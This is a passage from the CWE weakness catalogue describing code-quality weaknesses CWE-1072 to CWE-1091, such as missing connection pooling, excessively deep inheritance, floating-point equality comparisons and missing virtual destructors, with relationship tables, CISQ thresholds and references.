The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1721
ParentOf	B	585	Empty Synchronized Block	1172
ParentOf	B	1069	Empty Exception Block	1670

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

CWE-1072: Data Resource Access without Use of Connection Pooling

Weakness ID : 1072 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software accesses a data resource through a database without using a connection pooling capability.

Extended Description

This issue can make the software perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-13		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

[REF-974]Wikipedia. "Connection pool". < https://en.wikipedia.org/wiki/Connection_pool >.

CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

Weakness ID : 1073 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-10		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1074: Class with Excessively Deep Inheritance

Weakness ID : 1074 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1093	Excessively Complex Data Representation	1693

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-17		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

Weakness ID : 1075 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-1		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1076: Insufficient Adherence to Expected Conventions

Weakness ID : 1076 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product's architecture, source code, design, documentation, or other artifact does not follow required conventions.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	V	586	Explicit Call to Finalize()	1174
ParentOf	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1647
ParentOf	C	1078	Inappropriate Source Code Style or Formatting	1679
ParentOf	B	1079	Parent Class without Virtual Destructor Method	1680
ParentOf	B	1082	Class Instance Self Destruction Control Element	1682
ParentOf	B	1087	Class with Virtual Method without a Virtual Destructor	1687
ParentOf	B	1091	Use of Object without Invoking Destructor Method	1691
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1697
ParentOf	V	1098	Data Element containing Pointer Item without Proper Copy Control Element	1698
ParentOf	B	1108	Excessive Reliance on Global Variables	1706

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID : 1077 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-9		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-975]Bruce Dawson. "Comparing Floating Point Numbers, 2012 Edition". 2012 February 5. < https://randomascii.wordpress.com/2012/02/25/comparing-floating-point-numbers-2012-edition/ >.

CWE-1078: Inappropriate Source Code Style or Formatting

Weakness ID : 1078 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The source code does not follow desired style or formatting for indentation, white space, comments, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677
ParentOf	V	546	Suspicious Comment	1118
ParentOf	V	547	Use of Hard-coded, Security-relevant Constants	1120
ParentOf	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	1685
ParentOf	B	1099	Inconsistent Naming Conventions for Identifiers	1699
ParentOf	B	1106	Insufficient Use of Symbolic Constants	1704
ParentOf	B	1107	Insufficient Isolation of Symbolic Constant Definitions	1705
ParentOf	B	1109	Use of Same Variable for Multiple Purposes	1707
ParentOf	B	1113	Inappropriate Comment Style	1709
ParentOf	B	1114	Inappropriate Whitespace Style	1710
ParentOf	B	1115	Source Code Element without Standard Prologue	1711
ParentOf	B	1116	Inaccurate Comments	1712
ParentOf	B	1117	Callable with Insufficient Behavioral Summary	1712

Weakness Ordinalities

Indirect :

CWE-1079: Parent Class without Virtual Destructor Method

Weakness ID : 1079 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.

Extended Description

This issue can prevent the software from running reliably due to undefined or unexpected behaviors. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-16		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1080: Source Code File with Excessive Number of Lines of Code

Weakness ID : 1080 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A source code file has too many lines of code.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-8		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1082: Class Instance Self Destruction Control Element

Weakness ID : 1082 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a class instance that calls the method or function to delete or destroy itself.

Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

Scope	Impact	Likelihood

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-7		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-976]Standard C++ Foundation. "Memory Management". < https://isocpp.org/wiki/faq/freestore-mgmt#delete-this >.

CWE-1083: Data Access from Outside Expected Data Manager Component

Weakness ID : 1083 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

Extended Description

When the software has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-10		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

Weakness ID : 1084 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A function or method contains too many operations that utilize a data manager or file resource.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-14		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

Weakness ID : 1085 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-6		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1086: Class with Excessive Number of Child Classes

Weakness ID : 1086 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class contains an unnecessarily large number of children.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1093	Excessively Complex Data Representation	1693

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-18		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1087: Class with Virtual Method without a Virtual Destructor

Weakness ID : 1087 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class contains a virtual method, but the method does not have an associated virtual destructor.

Extended Description

This issue can prevent the software from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1076	Insufficient Adherence to Expected Conventions	1677

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-15		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1088: Synchronous Access of Remote Resource without Timeout

Weakness ID : 1088 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

Extended Description

This issue can prevent the software from running reliably, since an outage for the remote resource can cause the software to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1514

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-19		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1089: Large Data Table with Excessive Number of Indices

Weakness ID : 1089 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a large data table that contains an excessively large number of indices.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	405	Asymmetric Resource Consumption (Amplification)	883

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-6		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1090: Method Containing Access of a Member Element from Another Class

Weakness ID : 1090 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A method for a class performs an operation that directly accesses a member element from another class.

Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-16		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1091: Use of Object without Invoking Destructor Method

Weakness ID : 1091 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.

Extended Description

This issue can make the software perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677
ChildOf	B	772	Missing Release of Resource after Effective Lifetime	1432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

